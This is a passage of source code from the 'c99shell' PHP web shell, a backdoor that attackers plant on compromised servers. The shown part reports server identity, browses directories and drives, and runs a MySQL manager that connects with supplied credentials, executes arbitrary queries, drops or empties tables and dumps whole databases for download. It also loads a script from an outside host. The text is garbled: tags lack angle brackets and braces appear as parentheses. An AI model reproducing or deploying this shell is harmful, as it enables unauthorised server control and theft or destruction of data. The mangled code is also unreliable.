padding-right:10px;;)input (background-color: #800000; font-size: 8pt; color: #ffffff; font-family: tahoma; border: 1 solid #666666;)textarea (background-color: #800000; font-size: 8pt; color: #ffffff; font-family: tahoma; border: 1 solid #666666;)button (background-color: #800000; font-size: 8pt; color: #ffffff; font-family: tahoma; border: 1 solid #666666;)select (background-color: #800000; font-size: 8pt; color: #ffffff; font-family: tahoma; border: 1 solid #666666;)option (background-color: #800000; font-size: 8pt; color: #ffffff; font-family: tahoma; border: 1 solid #666666;)iframe (background-color: #800000; font-size: 8pt; color: #ffffff; font-family: tahoma; border: 1 solid #666666;)p (margin-top: 0px; margin-bottom: 0px; line-height: 150%)blockquote ( font-size: 8pt; font-family: courier, fixed, arial; border: 8px solid #a9a9a9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #b7b2b0;)body,td,th ( font-family: verdana; color: #d9d9d9; font-size: 11px;)body ( background-color: #000000;)/style/headscript src=http://www.r57.biz/yazciz/ciz.js/scriptbody text=#ffffff bottommargin=0 bgcolor=#000000 leftmargin=0 topmargin=0 rightmargin=0 marginheight=0 marginwidth=0centertable style="border-collapse: collapse" height=1 cellspacing=0 bordercolordark=#666666 cellpadding=5 width="100%" bgcolor=#333333 bordercolorlight=#c0c0c0 border=1 bordercolor="#c0c0c0"trth width="101%" height="15" nowrap bordercolor="#c0c0c0" valign="top" colspan="2"pfont face=webdings size=6b!/b/fonta href="?php echo $surl;?"font face="verdana" size="5"bc99shell v.?php echo $shver;?/b/font/afont face=webdings size=6b!/b/font/p/center/th/trtrtdp align="left"bsoftware: ?php echo $disp_server_software;?/b /pp align="left"buname -a: ?php echo wordwrap (php_uname (),90,"br",1);?/b /pp align="left"b?php if (!$win) (echo wordwrap (myshellexec ("id"),90,"br",1);) else (echo get_current_user ();)?/b /pp align="left"bsafe-mode: ?php echo $hsafemode;?/b/pp align="left"?php
$d = str_replace ("\\",directory_separator,$d);
if (empty ($d)) ($d = realpath (".");) elseif (realpath ($d)) ($d = realpath ($d);)
$d = str_replace ("\\",directory_separator,$d);
if (substr ($d,-1,1)!= directory_separator) ($d.= directory_separator;)
$d = str_replace ("\\\\","\\",$d);
$dispd = htmlspecialchars ($d);
$pd = $e = explode (directory_separator,substr ($d,0,strlen ($d)-1));
$i = 0;
foreach ($pd as $b)
(
$t = "";
reset ($e);
$j = 0;
foreach ($e as $r)
(
$t.= $r.directory_separator;
if ($j == $i) (break;)
$j++;
)
echo "a href=\"".$surl."act=ls&d=".urlencode ($t)."&sort=".$sort."\"b".htmlspecialchars ($b).directory_separator."/b/a";
$i++;
)
echo " ";
if (is_writable ($d))
(
$wd = true;
$wdt = "font color=\"green\" ( ok )/font";
echo "bfont color=\"green\"".view_perms (fileperms ($d))."/font/b";
)
else
(
$wd = false;
$wdt = "font color=\"red\" ( read-only )/font";
echo "b".view_perms_color ($d)."/b";
)
if (is_callable ("disk_free_space"))
(
$free = disk_free_space ($d);
$total = disk_total_space ($d);
if ($free === false) ($free = 0;)
if ($total === false) ($total = 0;)
if ($free 0) ($free = 0;)
if ($total 0) ($total = 0;)
$used = $total-$free;
$free_percent = round (100/ ($total/$free),2);
echo "brbfree ".view_size ($free)." of ".view_size ($total)." (".$free_percent."%)/b";
)
echo "br";
$letters = "";
if ($win)
(
$v = explode ("\\",$d);
$v = $v (0);
foreach (range ("a","z") as $letter)
(
$bool = $isdiskette = in_array ($letter,$safemode_diskettes);
if (!$bool) ($bool = is_dir ($letter.":\\");)
if ($bool)
(
$letters.= "a href=\"".$surl."act=ls&d=".$letter.":\\\"". ($isdiskette?" onclick=\"return confirm ('make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"")." ( ";
if ($letter.":"!= $v) ($letters.= $letter;)
else ($letters.= "font color=\"green\"".$letter."/font";)
$letters.= " )/a ";
)
)
if (!empty ($letters)) (echo "bdetected drives/b: ".$letters."br";)
)
if (count ($quicklaunch) 0)
(
foreach ($quicklaunch as $item)
(
$item (1) = str_replace ("%d",urlencode ($d),$item (1));
$item (1) = str_replace ("%sort",$sort,$item (1));
$v = realpath ($d."..");
if (empty ($v)) ($a = explode (directory_separator,$d); unset ($a (count ($a)-2)); $v = join (directory_separator,$a);)
$item (1) = str_replace ("%upd",urlencode ($v),$item (1));
echo "a href=\"".$item (1)."\"".$item (0)."/a ";
)
)
?/p/td/tr/tablebr?php
if ( (!empty ($donated_html)) and (in_array ($act,$donated_act))) (?table style="border-collapse: collapse" cellspacing=0 bordercolordark=#666666 cellpadding=5 width="100%" bgcolor=#333333 bordercolorlight=#c0c0c0 border=1trtd width="100%" valign="top"?php echo $donated_html;?/td/tr/tablebr?php )
?table style="border-collapse: collapse" cellspacing=0 bordercolordark=#666666 cellpadding=5 width="100%" bgcolor=#333333 bordercolorlight=#c0c0c0 border=1trtd width="100%" valign="top"?php
if ($act == "") ($act = $dspact = "ls";)
if ($act == "sql")
(
$sql_surl = $surl."act=sql";
if ($sql_login) ($sql_surl.= "&sql_login=".htmlspecialchars ($sql_login);)
if ($sql_passwd) ($sql_surl.= "&sql_passwd=".htmlspecialchars ($sql_passwd);)
if ($sql_server) ($sql_surl.= "&sql_server=".htmlspecialchars ($sql_server);)
if ($sql_port) ($sql_surl.= "&sql_port=".htmlspecialchars ($sql_port);)
if ($sql_db) ($sql_surl.= "&sql_db=".htmlspecialchars ($sql_db);)
$sql_surl.= "&";
?h3attention! sql-manager is unot/u ready module! don't reports bugs./h3table style="border-collapse: collapse" height=1 cellspacing=0 bordercolordark=#666666 cellpadding=5 width="100%" bgcolor=#333333 bordercolorlight=#c0c0c0 border=1 bordercolor="#c0c0c0"trtd width="100%" height="1" colspan="2" valign="top"center?php
if ($sql_server)
(
$sql_sock = mysql_connect ($sql_server.":".$sql_port, $sql_login, $sql_passwd);
$err = mysql_smarterror ();
@mysql_select_db ($sql_db,$sql_sock);
if ($sql_query and $submit) ($sql_query_result = mysql_query ($sql_query,$sql_sock); $sql_query_error = mysql_smarterror ();)
)
else ($sql_sock = false;)
echo "bsql manager:/bbr";
if (!$sql_sock)
(
if (!$sql_server) (echo "no connection";)
else (echo "centerbcan't connect/b/center"; echo "b".$err."/b";)
)
else
(
$sqlquicklaunch = array ();
$sqlquicklaunch () = array ("index",$surl."act=sql&sql_login=".htmlspecialchars ($sql_login)."&sql_passwd=".htmlspecialchars ($sql_passwd)."&sql_server=".htmlspecialchars ($sql_server)."&sql_port=".htmlspecialchars ($sql_port)."&");
$sqlquicklaunch () = array ("query",$sql_surl."sql_act=query&sql_tbl=".urlencode ($sql_tbl));
$sqlquicklaunch () = array ("server-status",$surl."act=sql&sql_login=".htmlspecialchars ($sql_login)."&sql_passwd=".htmlspecialchars ($sql_passwd)."&sql_server=".htmlspecialchars ($sql_server)."&sql_port=".htmlspecialchars ($sql_port)."&sql_act=serverstatus");
$sqlquicklaunch () = array ("server variables",$surl."act=sql&sql_login=".htmlspecialchars ($sql_login)."&sql_passwd=".htmlspecialchars ($sql_passwd)."&sql_server=".htmlspecialchars ($sql_server)."&sql_port=".htmlspecialchars ($sql_port)."&sql_act=servervars");
$sqlquicklaunch () = array ("processes",$surl."act=sql&sql_login=".htmlspecialchars ($sql_login)."&sql_passwd=".htmlspecialchars ($sql_passwd)."&sql_server=".htmlspecialchars ($sql_server)."&sql_port=".htmlspecialchars ($sql_port)."&sql_act=processes");
$sqlquicklaunch () = array ("logout",$surl."act=sql");
echo "centerbmysql ".mysql_get_server_info ()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars ($sql_server).":".htmlspecialchars ($sql_port)." as ".htmlspecialchars ($sql_login)."@".htmlspecialchars ($sql_server)." (password - \"".htmlspecialchars ($sql_passwd)."\")/bbr";
if (count ($sqlquicklaunch) 0) (foreach ($sqlquicklaunch as $item) (echo " ( a href=\"".$item (1)."\"b".$item (0)."/b/a ) ";))
echo "/center";
)
echo "/td/trtr";
if (!$sql_sock) (?td width="28%" height="100" valign="top"centerfont size="5" i /font/centerliif login is null, login is owner of process.liif host is null, host is localhost/bliif port is null, port is 3306 (default)/tdtd width="90%" height="1" valign="top"table height=1 cellspacing=0 cellpadding=0 width="100%" border=0trtd bplease, fill the form:/btabletrtdbusername/b/tdtdbpassword/b /tdtdbdatabase/b /td/trforminput type="hidden" name="act" value="sql"trtdinput type="text" name="sql_login" value="root" maxlength="64"/tdtdinput type="password" name="sql_passwd" value="" maxlength="64"/tdtdinput type="text" name="sql_db" value="" maxlength="64"/td/trtrtdbhost/b/tdtdbport/b/td/trtrtd align=rightinput type="text" name="sql_server" value="localhost" maxlength="64"/tdtdinput type="text" name="sql_port" value="3306" maxlength="6" size="3"/tdtdinput type="submit" value="connect"/td/trtrtd/td/tr/form/table/td?php )
else
(
//start left panel
if (!empty ($sql_db))
(
?td width="25%" height="100%" valign="top"a href="?php echo $surl."act=sql&sql_login=".htmlspecialchars ($sql_login)."&sql_passwd=".htmlspecialchars ($sql_passwd)."&sql_server=".htmlspecialchars ($sql_server)."&sql_port=".htmlspecialchars ($sql_port)."&";?"bhome/b/ahr size="1" noshade?php
$result = mysql_list_tables ($sql_db);
if (!$result) (echo mysql_smarterror ();)
else
(
echo "--- ( a href=\"".$sql_surl."&\"b".htmlspecialchars ($sql_db)."/b/a )---br";
$c = 0;
while ($row = mysql_fetch_array ($result)) ($count = mysql_query ("select count (*) from ".$row (0)); $count_row = mysql_fetch_array ($count); echo "b» a href=\"".$sql_surl."sql_db=".htmlspecialchars ($sql_db)."&sql_tbl=".htmlspecialchars ($row (0))."\"b".htmlspecialchars ($row (0))."/b/a (".$count_row (0).")/br/b"; mysql_free_result ($count); $c++;)
if (!$c) (echo "no tables found in database.";)
)
)
else
(
?td width="1" height="100" valign="top"a href="?php echo $sql_surl;?"bhome/b/ahr size="1" noshade?php
$result = mysql_list_dbs ($sql_sock);
if (!$result) (echo mysql_smarterror ();)
else
(
?form action="?php echo $surl;?"input type="hidden" name="act" value="sql"input type="hidden" name="sql_login" value="?php echo htmlspecialchars ($sql_login);?"input type="hidden" name="sql_passwd" value="?php echo htmlspecialchars ($sql_passwd);?"input type="hidden" name="sql_server" value="?php echo htmlspecialchars ($sql_server);?"input type="hidden" name="sql_port" value="?php echo htmlspecialchars ($sql_port);?"select name="sql_db"?php
$c = 0;
$dbs = "";
while ($row = mysql_fetch_row ($result)) ($dbs.= "option value=\"".$row (0)."\""; if ($sql_db == $row (0)) ($dbs.= " selected";) $dbs.= "".$row (0)."/option"; $c++;)
echo "option value=\"\"databases (".$c.")/option";
echo $dbs;
)
?/selecthr size="1" noshadeplease, select databasehr size="1" noshadeinput type="submit" value="go"/form?php
)
//end left panel
echo "/tdtd width=\"100%\" height=\"1\" valign=\"top\"";
//start center panel
$diplay = true;
if ($sql_db)
(
if (!is_numeric ($c)) ($c = 0;)
if ($c == 0) ($c = "no";)
echo "hr size=\"1\" noshadecenterbthere are ".$c." table (s) in this db (".htmlspecialchars ($sql_db).").br";
if (count ($dbquicklaunch) 0) (foreach ($dbsqlquicklaunch as $item) (echo " ( a href=\"".$item (1)."\"".$item (0)."/a ) ";))
echo "/b/center";
$acts = array ("","dump");
if ($sql_act == "tbldrop") ($sql_query = "drop table"; foreach ($boxtbl as $v) ($sql_query.= "\n`".$v."`,";) $sql_query = substr ($sql_query,0,strlen ($sql_query)-1).";"; $sql_act = "query";)
elseif ($sql_act == "tblempty") ($sql_query = ""; foreach ($boxtbl as $v) ($sql_query.= "delete from `".$v."` \n";) $sql_act = "query";)
elseif ($sql_act == "tbldump") (if (count ($boxtbl) 0) ($dmptbls = $boxtbl;) elseif ($thistbl) ($dmptbls = array ($sql_tbl);) $sql_act = "dump";)
elseif ($sql_act == "tblcheck") ($sql_query = "check table"; foreach ($boxtbl as $v) ($sql_query.= "\n`".$v."`,";) $sql_query = substr ($sql_query,0,strlen ($sql_query)-1).";"; $sql_act = "query";)
elseif ($sql_act == "tbloptimize") ($sql_query = "optimize table"; foreach ($boxtbl as $v) ($sql_query.= "\n`".$v."`,";) $sql_query = substr ($sql_query,0,strlen ($sql_query)-1).";"; $sql_act = "query";)
elseif ($sql_act == "tblrepair") ($sql_query = "repair table"; foreach ($boxtbl as $v) ($sql_query.= "\n`".$v."`,";) $sql_query = substr ($sql_query,0,strlen ($sql_query)-1).";"; $sql_act = "query";)
elseif ($sql_act == "tblanalyze") ($sql_query = "analyze table"; foreach ($boxtbl as $v) ($sql_query.= "\n`".$v."`,";) $sql_query = substr ($sql_query,0,strlen ($sql_query)-1).";"; $sql_act = "query";)
elseif ($sql_act == "deleterow") ($sql_query = ""; if (!empty ($boxrow_all)) ($sql_query = "delete * from `".$sql_tbl."`;";) else (foreach ($boxrow as $v) ($sql_query.= "delete * from `".$sql_tbl."` where".$v." limit 1;\n";) $sql_query = substr ($sql_query,0,strlen ($sql_query)-1);) $sql_act = "query";)
elseif ($sql_tbl_act == "insert")
(
if ($sql_tbl_insert_radio == 1)
(
$keys = "";
$akeys = array_keys ($sql_tbl_insert);
foreach ($akeys as $v) ($keys.= "`".addslashes ($v)."`, ";)
if (!empty ($keys)) ($keys = substr ($keys,0,strlen ($keys)-2);)
$values = "";
$i = 0;
foreach (array_values ($sql_tbl_insert) as $v) (if ($funct = $sql_tbl_insert_functs ($akeys ($i))) ($values.= $funct." (";) $values.= "'".addslashes ($v)."'"; if ($funct) ($values.= ")";) $values.= ", "; $i++;)
if (!empty ($values)) ($values = substr ($values,0,strlen ($values)-2);)
$sql_query = "insert into `".$sql_tbl."` ( ".$keys." ) values ( ".$values." );";
$sql_act = "query";
$sql_tbl_act = "browse";
)
elseif ($sql_tbl_insert_radio == 2)
(
$set = mysql_buildwhere ($sql_tbl_insert,", ",$sql_tbl_insert_functs);
$sql_query = "update `".$sql_tbl."` set ".$set." where ".$sql_tbl_insert_q." limit 1;";
$result = mysql_query ($sql_query) or print (mysql_smarterror ());
$result = mysql_fetch_array ($result, mysql_assoc);
$sql_act = "query";
$sql_tbl_act = "browse";
)
)
if ($sql_act == "query")
(
echo "hr size=\"1\" noshade";
if ( ($submit) and (!$sql_query_result) and ($sql_confirm)) (if (!$sql_query_error) ($sql_query_error = "query was empty";) echo "berror:/b br".$sql_query_error."br";)
if ($sql_query_result or (!$sql_confirm)) ($sql_act = $sql_goto;)
if ( (!$submit) or ($sql_act)) (echo "table border=\"0\" width=\"100%\" height=\"1\"trtdform action=\"".$sql_surl."\" method=\"post\"b"; if ( ($sql_query) and (!$submit)) (echo "do you really want to:";) else (echo "sql-query:";) echo "/bbrbrtextarea name=\"sql_query\" cols=\"100\" rows=\"10\"".htmlspecialchars ($sql_query)."/textareabrbrinput type=\"hidden\" name=\"sql_act\" value=\"query\"input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars ($sql_tbl)."\"input type=\"hidden\" name=\"submit\" value=\"1\"input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars ($sql_goto)."\"input type=\"submit\" name=\"sql_confirm\" value=\"yes\" input type=\"submit\" value=\"no\"/form/td/tr/table";)
)
if (in_array ($sql_act,$acts))
(
?table border="0" width="100%" height="1"trtd width="30%" height="1"bcreate new table:/bform action="?php echo $surl;?"input type="hidden" name="act" value="sql"input type="hidden" name="sql_act" value="newtbl"input type="hidden" name="sql_db" value="?php echo htmlspecialchars ($sql_db);?"input type="hidden" name="sql_login" value="?php echo htmlspecialchars ($sql_login);?"input type="hidden" name="sql_passwd" value="?php echo htmlspecialchars ($sql_passwd);?"input type="hidden" name="sql_server" value="?php echo htmlspecialchars ($sql_server);?"input type="hidden" name="sql_port" value="?php echo htmlspecialchars ($sql_port);?"input type="text" name="sql_newtbl" size="20" input type="submit" value="create"/form/tdtd width="30%" height="1"bdump db:/bform action="?php echo $surl;?"input type="hidden" name="act" value="sql"input type="hidden" name="sql_act" value="dump"input type="hidden" name="sql_db" value="?php echo htmlspecialchars ($sql_db);?"input type="hidden" name="sql_login" value="?php echo htmlspecialchars ($sql_login);?"input type="hidden" name="sql_passwd" value="?php echo htmlspecialchars ($sql_passwd);?"input type="hidden" name="sql_server" value="?php echo htmlspecialchars ($sql_server);?"input type="hidden" name="sql_port" value="?php echo htmlspecialchars ($sql_port);?"input type="text" name="dump_file" size="30" value="?php echo "dump_".$server_name."_".$sql_db."_".date ("d-m-y-h-i-s").".sql";?" input type="submit" name=\"submit\" value="dump"/form/tdtd width="30%" height="1"/td/trtrtd width="30%" height="1"/tdtd width="30%" height="1"/tdtd width="30%" height="1"/td/tr/table?php
if (!empty ($sql_act)) (echo "hr size=\"1\" noshade";)
if ($sql_act == "newtbl")
(
echo "b";
if ( (mysql_create_db ($sql_newdb)) and (!empty ($sql_newdb))) (echo "db \"".htmlspecialchars ($sql_newdb)."\" has been created with success!/bbr";
)
else (echo "can't create db \"".htmlspecialchars ($sql_newdb)."\".brreason:/b ".mysql_smarterror ();)
)
elseif ($sql_act == "dump")
(
if (empty ($submit))
(
$diplay = false;
echo "form method=\"get\"input type=\"hidden\" name=\"act\" value=\"sql\"input type=\"hidden\" name=\"sql_act\" value=\"dump\"input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars ($sql_db)."\"input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars ($sql_login)."\"input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars ($sql_passwd)."\"input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars ($sql_server)."\"input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars ($sql_port)."\"input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars ($sql_tbl)."\"bsql-dump:/bbrbr";
echo "bdb:/b input type=\"text\" name=\"sql_db\" value=\"".urlencode ($sql_db)."\"brbr";
$v = join (";",$dmptbls);
echo "bonly tables (explode \";\") bsup1/sup/b:/b input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars ($v)."\" size=\"". (strlen ($v)+5)."\"brbr";
if ($dump_file) ($tmp = $dump_file;)
else ($tmp = htmlspecialchars ("./dump_".$server_name."_".$sql_db."_".date ("d-m-y-h-i-s").".sql");)
echo "bfile:/b input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"". (strlen ($tmp)+strlen ($tmp) % 30)."\"brbr";
echo "bdownload: /b input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checkedbrbr";
echo "bsave to file: /b input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked";
echo "brbrinput type=\"submit\" name=\"submit\" value=\"dump\"brbrbsup1/sup/b - all, if empty";
echo "/form";
)
else
(
$diplay = true;
$set = array ();
$set ("sock") = $sql_sock;
$set ("db") = $sql_db;
$dump_out = "download";
$set ("print") = 0;
$set ("nl2br") = 0;
$set ("") = 0;
$set ("file") = $dump_file;
$set ("add_drop") = true;
$set ("onlytabs") = array ();
if (!empty ($dmptbls)) ($set ("onlytabs") = explode (";",$dmptbls);)
$ret = mysql_dump ($set);
if ($sql_dump_download)
(
@ob_clean ();
header ("content-type: application/octet-stream");
header ("content-length: ".strlen ($ret));
header ("content-disposition: attachment; filename=\"".basename ($sql_dump_file)."\";");
echo $ret;
exit;
)
elseif ($sql_dump_savetofile)
(
$fp = fopen ($sql_dump_file,"w");
if (!$fp) (echo "bdump error! can't write to \"".htmlspecialchars ($sql_dump_file)."\"!";)
else
(
fwrite ($fp,$ret);
fclose ($fp);
echo "bdumped! dump has been writed to \"".htmlspecialchars (realpath ($sql_dump_file))."\" (".view_size (filesize ($sql_dump_file)).")/b.";
)
)
else (echo "bdump: nothing to do!/b";)
)
)
if ($diplay)
(
if (!empty ($sql_tbl))
(
if (empty ($sql_tbl_act)) ($sql_tbl_act = "browse";)
$count = mysql_query ("select count (*) from `".$sql_tbl."`;");
$count_row = mysql_fetch_array ($count);
mysql_free_result ($count);
$tbl_struct_result = mysql_query ("show fields from `".$sql_tbl."`;");
$tbl_struct_fields = array ();
while ($row = mysql_fetch_assoc ($tbl_struct_result)) ($tbl_struct_fields () = $row;)
if ($sql_ls $sql_le) ($sql_le = $sql_ls + $perpage;)
if (empty ($sql_tbl_page)) ($sql_tbl_page = 0;)
if (empty ($sql_tbl_ls)) ($sql_tbl_ls = 0;)
if (empty ($sql_tbl_le)) ($sql_tbl_le = 30;)
$perpage = $sql_tbl_le - $sql_tbl_ls;
if (!is_numeric ($perpage)) ($perpage = 10;)
$numpages = $count_row (0)/$perpage;
$e = explode (" ",$sql_order);
if (count ($e) == 2)
(
if ($e (0) == "d") ($asc_desc = "desc";)
else ($asc_desc = "asc";)
$v = "order by `".$e (1)."` ".$asc_desc." ";
)
else ($v = "";)
$query = "select * from `".$sql_tbl."` ".$v."limit ".$sql_tbl_ls.", ".$perpage."";
$result = mysql_query ($query) or print (mysql_smarterror ());
echo "hr size=\"1\" noshadecenterbtable ".htmlspecialchars ($sql_tbl)." (".mysql_num_fields ($result)." cols and ".$count_row (0)." rows)/b/center";
echo "a href=\"".$sql_surl."sql_tbl=".urlencode ($sql_tbl)."&sql_tbl_act=structure\" ( bstructure/b )/a ";
echo "a href=\"".$sql_surl."sql_tbl=".urlencode ($sql_tbl)."&sql_tbl_act=browse\" ( bbrowse/b )/a ";
echo "a href=\"".$sql_surl."sql_tbl=".urlencode ($sql_tbl)."&sql_act=tbldump&thistbl=1\" ( bdump/b )/a ";
echo "a href=\"".$sql_surl."sql_tbl=".urlencode ($sql_tbl)."&sql_tbl_act=insert\" ( binsert/b )/a ";
if ($sql_tbl_act == "structure") (echo "brbrbcoming sooon!/b";)
if ($sql_tbl_act == "insert")
(
if (!is_array ($sql_tbl_insert)) ($sql_tbl_insert = array ();)
if (!empty ($sql_tbl_insert_radio))
(
)
else
(
echo "brbrbinserting row into table:/bbr";
if (!empty ($sql_tbl_insert_q))
(
$sql_query = "select * from `".$sql_tbl."`";
$sql_query.= " where".$sql_tbl_insert_q;
$sql_query.= " limit 1;";
$result = mysql_query ($sql_query,$sql_sock) or print ("brbr".mysql_smarterror ());
$values = mysql_fetch_assoc ($result);
mysql_free_result ($result);
)
else ($values = array ();)
echo "form method=\"post\"table cellspacing=0 bordercolordark=#666666 cellpadding=5 width=\"1%\" bgcolor=#333333 bordercolorlight=#c0c0c0 border=1trtdbfield/b/tdtdbtype/b/tdtdbfunction/b/tdtdbvalue/b/td/tr";
foreach ($tbl_struct_fields as $field)
(
$name = $field ("field");
if (empty ($sql_tbl_insert_q)) ($v = "";)
echo "trtdb".htmlspecialchars ($name)."/b/tdtd".$field ("type")."/tdtdselect name=\"sql_tbl_insert_functs (".htmlspecialchars ($name).")\"option value=\"\"/optionoptionpassword/optionoptionmd5/optionoptionencrypt/optionoptionascii/optionoptionchar/optionoptionrand/optionoptionlast_insert_id/optionoptioncount/optionoptionavg/optionoptionsum/optionoption value=\"\"--------/optionoptionsoundex/optionoptionlcase/optionoptionucase/optionoptionnow/optionoptioncurdate/optionoptioncurtime/optionoptionfrom_days/optionoptionfrom_unixtime/optionoptionperiod_add/optionoptionperiod_diff/optionoptionto_days/optionoptionunix_timestamp/optionoptionuser/optionoptionweekday/optionoptionconcat/option/select/tdtdinput type=\"text\" name=\"sql_tbl_insert (".htmlspecialchars ($name).")\" value=\"".htmlspecialchars ($values ($name))."\" size=50/td/tr";
$i++;
)
echo "/tablebr";
echo "input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty ($sql_tbl_insert_q)) (echo " checked";) echo "binsert as new row/b";
if (!empty ($sql_tbl_insert_q)) (echo " or input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checkedbsave/b"; echo "input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars ($sql_tbl_insert_q)."\"";)
echo "brbrinput type=\"submit\" value=\"confirm\"/form";
)
)
if ($sql_tbl_act == "browse")
(
$sql_tbl_ls = abs ($sql_tbl_ls);
$sql_tbl_le = abs ($sql_tbl_le);
echo "hr size=\"1\" noshade";
echo "img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"pages\" ";
$b = 0;
for ($i=0;$i$numpages;$i++)
(
if ( ($i*$perpage!= $sql_tbl_ls) or ($i*$perpage+$perpage!= $sql_tbl_le)) (echo "a href=\"".$sql_surl."sql_tbl=".urlencode ($sql_tbl)."&sql_order=".htmlspecialchars ($sql_order)."&sql_tbl_ls=". ($i*$perpage)."&sql_tbl_le=". ($i*$perpage+$perpage)."\"u";)
echo $i;
if ( ($i*$perpage!= $sql_tbl_ls) or ($i*$perpage+$perpage!= $sql_tbl_le)) (echo "/u/a";)
if ( ($i/30 == round ($i/30)) and ($i 0)) (echo "br";)
else (echo " ";)
)
if ($i == 0) (echo "empty";)
echo "form method=\"get\"input type=\"hidden\" name=\"act\" value=\"sql\"input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars ($sql_db)."\"input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars ($sql_login)."\"input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars ($sql_passwd)."\"input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars ($sql_server)."\"input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars ($sql_port)."\"input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars ($sql_tbl)."\"input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars ($sql_order)."\"bfrom:/b input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\" bto:/b input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\" input type=\"submit\" value=\"view\"/form";
echo "brform method=\"post\"table cellspacing=0 bordercolordark=#666666 cellpadding=5 width=\"1%\" bgcolor=#333333 bordercolorlight=#c0c0c0 border=1";
echo "tr";
echo "tdinput type=\"checkbox\" name=\"boxrow_all\" value=\"1\"/td";
for ($i=0;$imysql_num_fields ($result);$i++)
(
$v = mysql_field_name ($result,$i);
if ($e (0) == "a") ($s = "d"; $m = "asc";)
else ($s = "a"; $m = "desc";)
echo "td";
if (empty ($e (0))) ($e (0) = "a";)
if ($e (1)!= $v) (echo "a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e (0)."%20".$v."\"b".$v."/b/a";)
else (echo "b".$v."/ba href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"/a";)
echo "/td";
)
echo "tdfont color=\"green\"baction/b/font/td";
echo "/tr";
while ($row = mysql_fetch_array ($result, mysql_assoc))
(
echo "tr";
$w = "";
$i = 0;
foreach ($row as $k=$v) ($name = mysql_field_name ($result,$i); $w.= " `".$name."` = '".addslashes ($v)."' and"; $i++;)
if (count ($row) 0) ($w = substr ($w,0,strlen ($w)-3);)
echo "tdinput type=\"checkbox\" name=\"boxrow ()\" value=\"".$w."\"/td";
$i = 0;
foreach ($row as $k=$v)
(
$v = htmlspecialchars ($v);
if ($v == "") ($v = "font color=\"green\"null/font";)
echo "td".$v."/td";
$i++;
)
echo "td";
echo "a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode ($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode ("delete from `".$sql_tbl."` where".$w." limit 1;")."\"img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"delete\" height=\"13\" width=\"11\" border=\"0\"/a ";
echo "a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode ($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode ($w)."\"img src=\"".$surl."act=img&img=change\" alt=\"edit\" height=\"14\" width=\"14\" border=\"0\"/a ";
echo "/td";
echo "/tr";
)
mysql_free_result ($result);
echo "/tablehr size=\"1\" noshadep align=\"left\"img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"select name=\"sql_act\"";
echo "option value=\"\"with selected:/option";
echo "option value=\"deleterow\"delete/option";
echo "/select input type=\"submit\" value=\"confirm\"/form/p";
)
)
else
(
$result = mysql_query ("show table status", $sql_sock);
if (!$result) (echo mysql_smarterror ();)
else
(
echo "brform method=\"post\"table cellspacing=0 bordercolordark=#666666 cellpadding=5 width=\"100%\" bgcolor=#333333 bordercolorlight=#c0c0c0 border=1trtdinput type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"/tdtdcenterbtable/b/center/tdtdbrows/b/tdtdbtype/b/tdtdbcreated/b/tdtdbmodified/b/tdtdbsize/b/tdtdbaction/b/td/tr";
$i = 0;
$tsize = $trows = 0;
while ($row = mysql_fetch_array ($result, mysql_assoc))
(
$tsize += $row ("data_length");
$trows += $row ("rows");
$size = view_size ($row ("data_length"));
echo "tr";
echo "tdinput type=\"checkbox\" name=\"boxtbl ()\" value=\"".$row ("name")."\"/td";
echo "td a href=\"".$sql_surl."sql_tbl=".urlencode ($row ("name"))."\"b".$row ("name")."/b/a /td";
echo "td".$row ("rows")."/td";
echo "td".$row ("type")."/td";
echo "td".$row ("create_time")."/td";
echo "td".$row ("update_time")."/td";
echo "td".$size."/td";
